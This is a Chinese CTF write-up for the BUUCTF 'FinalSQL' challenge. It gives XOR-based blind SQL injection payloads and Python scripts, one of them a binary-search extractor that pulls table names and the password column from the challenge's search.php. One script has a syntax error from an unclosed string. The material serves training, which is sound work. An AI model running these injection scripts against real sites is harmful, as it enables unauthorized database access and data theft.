2.16 [极客大挑战 2019]FinalSQL

检测通过测试发现在search.php页面存在sql注入。

1
2
3
4
5
6

1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称

1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名

1^(ord(substr((select(group_concat(column_name))from(information_schema.column s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j)) 获取数据库列名

先写个判断数据库名的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

import requests
def database_len():
    for i in range(9999):
        url='''http://e383c445-91e1-4760-ae8f-4b889943e40c.node3.buuoj.cn/search.php?id=1'''
        payload='''?id=1'^and length(database())>%s''' %i
        #print(url+payload+' --+ ')
        r=requests.get(url+payload+' --+ ')
        if 'NO! Not this! Click others~~~' in r.text:
            print(i)
        else:
            print('database_length:',i)
            break
#database_len()
def database_name():
    databasename=''
    for i in range(1,9):
        for j in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
            url='''http://e383c445-91e1-4760-ae8f-4b889943e40c.node3.buuoj.cn/search.php?id=1'''
            payload='''?id=1'^and substr(database(),%d,1) = '%s' ''' %(i,j)
            #print(url+payload+' --+ ')
            r=requests.get(url+payload+' --+ ')
            if 'NO! Not this! Click others~~~' in r.text:
                databasename += j
                print(databasename)
                break
    print("database_name:",databasename.lower())
#database_name()
def table_length():
        for j in range(9999):
            url='''http://e383c445-91e1-4760-ae8f-4b889943e40c.node3.buuoj.cn/search.php?id=1'''
            payload='''?id=1'^and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>%s''' %j
            r=requests.get(url+payload+' --+ ')
            if 'NO! Not this! Click others~~~ in r.text:
                print(j)
            else:
                print('firs table length:',j)
                break
table_length()

判断表名和字段名的可以依葫芦画瓢,来写脚本。
最终的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string
 
url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×